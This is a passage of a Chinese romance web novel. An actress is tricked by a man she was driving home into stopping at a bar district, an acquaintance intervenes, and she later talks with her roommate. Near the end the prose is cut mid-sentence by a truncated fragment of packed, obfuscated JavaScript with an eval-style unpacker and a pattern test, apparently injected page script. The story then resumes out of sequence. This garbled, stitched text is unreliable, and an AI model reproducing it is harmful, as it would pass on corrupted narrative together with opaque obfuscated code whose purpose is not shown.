哦。”梁颂应,又问,“你家住哪儿?” 沈嘉树没回答,只说:“不远,二十多分钟吧。” “……行吧。”梁颂往后一靠,也不想再和沈嘉树交流了,打算安安静静地挨到他到家,自己也就能解脱了。 可显然沈嘉树并不是这么想的,将车驶出停车场后,他看了梁颂一眼,说:“你在车上也要捂得这么严严实实的吗?” “懒得摘。” “女明星也真不容易呢。” 梁颂扯了扯嘴角,也不管沈嘉树根本就看不见她的回应。 车开出快半个小时,梁颂看着车窗外的景象,灯红酒绿,路边的彩灯流光溢彩,怎么看怎么觉得不对劲,再也坐不住了,她直起腰,问:“你还有多久到?确定没有走错方向吗?” 沈嘉树面不改色:“前面就是。” “你住这儿?你别把我当傻子。”梁颂气笑了,“我不管你这是带我来了哪儿,马上给我停车。” 沈嘉树这次听话地把车停到了路边:“到了。” 梁颂连问这是哪里的兴趣都没了,面无表情地说:“下车吧,不管你想到哪儿,我都把你送到了,后续我就不负责了。” “这么冷淡。”沈嘉树降下车窗,说,“你真不知道这是什么地方?” “我为什么一定要知道。” 沈嘉树略显诧异:“你好歹是个女明星,私生活那么单调乏味吗?” “……”梁颂做了个深呼吸,极力克制自己的火气,“下车!” 说着也开车门下车,准备换到驾驶座那边去。 沈嘉树也下了车,手肘撑着车门,再度发出邀请:“一起吧,我知道这边有几家店不错,我常来的。” 梁颂此时对沈嘉树的印象已经降到了负分,多跟他说一句话都嫌浪费时间,冷冷地说:“没兴趣。” “你很讨厌我?” “是。”梁颂直言不讳,“请你让开,你挡住我的路了。” 沈嘉树似乎一点都没有被她的态度打击到,只稍稍退开了点,留下的空间仍不足以让梁颂开门上车:“你知道吗?我看了你的热搜就对你很有好感,但是也没敢想过事情会有这么巧。——你的朋友居然会和我的朋友相亲,还有比这更戏剧性的事吗?” 梁颂冷笑:“请问你朋友知道你是这样的人吗?” “嗯?”沈嘉树装无辜,“我是怎样的人?” “表里不一、两面三刀、衣冠禽兽。” 沈嘉树也不恼,依然面带笑意:“也用不着这么严重的词吧,我又没犯什么弥天大罪。” “随你怎么想吧。”梁颂不予置评,“麻烦让一让,别挡路。” “下次还可以再见面吗?” “不可以。”梁颂的耐心终于告罄,伸手去推他,“让开,别逼我喊人。” “好好好,我让开。”沈嘉树举手投降,退开了两步,仿佛觉得耍她玩很有趣似的,说,“你别这么激动嘛,把人喊来对我们两个都没什么好处吧。” 梁颂正要说话,后方又停了一辆车,她下意识地扭头看去,看清从车里下来的人时,登时愣在当场。 不是吧,她运气这么差的吗? 29. 第 29 章 从车里下来的人正是凑巧也出现在这里的陈以年,他看到了纠缠不清的梁颂和沈嘉树,一秒都没迟疑,大步朝他们走了过来。 梁颂撇过脸,假装不认识陈以年,准备上车走人。 陈以年却没给她这个机会,一出声宛如恶魔的低语:“梁颂?” 梁颂拉车门的手僵住,硬着头皮转过头,一言不发,只等陈以年开口。 陈以年微微歪头,对着她上下打量了两秒,点了下头,仿佛确认过了自己没有认错人,随即以审视的目光看向沈嘉树:“这位是……” 沈嘉树极擅长做表面功夫,早已收起对梁颂的调笑姿态,换上了礼貌的微笑,自我介绍说:“我是梁颂的朋友,沈嘉树。” 梁颂皱眉,矢口否认:“并不是朋友。” 她语气生硬,隐隐有一丝嫌恶,陈以年虽不清楚他们两个之间有什么恩怨,但直觉沈嘉树脸上的笑并不单纯,因此只冷淡地道了声“你好”,便问梁颂:“你为什么会来这里?” 梁颂觉得没面子,并不想让他知道自己是被沈嘉树诓骗过来的,立刻说:“不关你的事。” 陈以年不以为意地笑笑,又问:“要回家了吗?” “嗯。” “一个人吗?我送你。” “不用。”梁颂不假思索地拒绝,“我自己可以回去。” “真的?但你的脸色可不像没问题的样子。” 梁颂心累得不想说话,摆了摆手,余光瞥见沈嘉树脸上是若有所思的神情,似乎在揣测他们两个的关系。 她心知自己若是现在辩解,多少有点此地无银三百两的意思,便也懒得多说了,径自拉开车门上车。 陈以年俯身,隔着半开的车窗说:“既然不要我送,自己开车注意安全。” “我知道,不用你提醒。” 陈以年无奈:“你怎么每次跟我说话都夹枪带棒的,我不是在好好跟你说话吗?” “……”梁颂理亏,无言以对。 她也知道陈以年是好意,可她就是忍不住,话到了嘴边就自动变冲。 陈以年他,就从没有生过自己的气吗? 见她不说话,陈以年又打趣:“怎么了?被我说得良心发现,终于意识到对我太不客气了?” 梁颂打死也不会承认自己的动摇,闭紧嘴巴撇过脸去。 陈以年笑了,屈指敲了敲车窗:“好了,快回家吧。”说罢就直起身来。 梁颂却突然想到了自己忘掉的事,忙叫住他:“等一等。” “嗯?怎么了?” 梁颂打开储物格,从里面拿出那个饰品盒,递给陈以年:“还给你。” 陈以年没有伸手接:“送出去的礼物没有收回来的道理,你要实在不喜欢就丢掉吧。”又补了一句,“瞒着我丢就好,不用特意告诉我。” “……” “快回家吧,路上小心。”陈以年笑着说,“拜拜,改天见。” 梁颂想跟着说句再见,鬼使神差地脱口而出:“你来这儿干吗?” 对面随便扫一眼就是几间酒吧,看着可不像什么正经地方,他这么明目张胆的,也不怕被人拍到? 陈以年挑眉:“你关心我?” “……”梁颂小小地翻了个白眼,果然,就算她想平和地陈以年交流,陈以年本人也不允许。 她闭上嘴,用挥手代替道别,正想升上车窗,后知后觉地发现自己忘了沈嘉树这个始作俑者还在一旁。 尽管纠结,但她在礼貌的驱使下,仍是象征性地对沈嘉树也挥了挥手。 事已至此,假如他铁了心想揣测什么,自己也无能为力了。 目送着她离开,陈以年转过身来,客气地对沈嘉树点头致意,说:“今天的事还请沈先生不要随意乱说。” 沈嘉树明知故问:“是怕我恶意散播绯闻吗?” “我是无所谓,但对梁颂影响不好。” “哦?那方便问问你们两个的关系吗?” 陈以年不答反问:“请问沈先生以什么身份问我这个问题呢?” 沈嘉树想了想:“呃,粉丝?” 陈以年眯了眯眼睛:“你喜欢她?” 沈嘉树似乎存心和他周旋,并不正面回答问题,说:“她长得好看,人也很有趣,喜欢她也很正常吧。” “你们认识多久了?” 沈嘉树装作思考的样子,随后正色道:“差不多两个小时吧。” 陈以年笑了:“那很久了。”又问,“你们是怎么认识的?以我对她的了解,她是决不会贸然向陌生人搭话的。” “事关个人隐私,我就没必要一五一十地向外人报告了吧。” 陈以年听他这么说,也没有追根究底,只说:“那就请沈先生注意言辞吧,不要传播对梁颂不利的言论。流言对人的伤害有多大,不用我提醒沈先生吧。” 沈嘉树自然听出了他言语中隐隐的警示意味,勾了勾嘴角:“放心吧,我还不至于那么无聊。再说了,我是想和她做朋友,做这种多余的事对我有什么好处吗?” 做朋友?陈以年想,梁颂可不见得是这么想的。 “是吗?那请自便吧。” “不管怎么说,能在这里见到你还是很高兴的。”沈嘉树露出恶意的微笑,“虽然我对娱乐圈乱七八糟的人和事一点也不关心。” 陈以年淡淡地说:“理智是很好的品质。” 他在盘算要怎么去询问梁颂本人才能了解清楚详情,而沈嘉树则在想不知道会不会有一天看到陈以年和梁颂官宣。 两个人各怀心思,分道扬镳。 梁颂回到家里,越想越气,只等着姚思曼回来找她吐槽。 还没等到姚思曼,倒是先等来了陈以年的消息:“那个人居心不良,离他远点。” 不用他说,自己也不会再跟沈嘉树有任何接触,只是他这一说,梁颂便又想起被沈嘉树坑的事实,没好气地回:“你管得太宽了。” “我是不想你被骗。” 梁颂愈发气闷,不想再回复。 偏偏陈以年不死心,继续问:“你怎么会认识他的?” 梁颂一个字一个字地回:“这也和你没关系。”回复完就设置了消息免打扰,把手机丢到一边去洗澡了。 姚思曼回来时心情很好的样子,一屁股坐在她旁边,问她有没有顺利把沈嘉树送回家。 梁颂暂停了正在看的视频,欲言又止,最后选择先问她:“那个罗川,人怎么样?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还当他真是想发扬所谓的绅士风度才答应让他开车的,怎么也没想到他会这样。” “知人知面不知心。”姚思曼忿忿地说,“早知道他是这种败类,打死我也不会让你单独和他走的。后来呢?你有没有骂他一顿?” 梁颂摇了摇头:“我把他丢在那里了。” “便宜他了!下次别让我见到他,否则我非狠狠地骂他一顿出气不可!” “好啦,你也别这么激动,我这不是没事嘛。”梁颂安抚她,顿了顿,才迟疑地接着说,“我是想说,近朱者赤近墨者黑,罗川既然和沈嘉树是朋友,他会不会……” 她没有说下去,但姚思曼已经明白她想说什么了,垂下了眼帘。 “我不是想简单粗暴地通过他的朋友就否定他,况且他们也有些年没在一起了,人都会变的,但……”梁颂谨慎地说,“如果你想和他继续接触,还是要多观察才好。” 姚思曼沉默片刻,说:“嗯,我明白。” 梁颂拍了拍她的肩膀:“早点休息吧,明天还要上班呢。”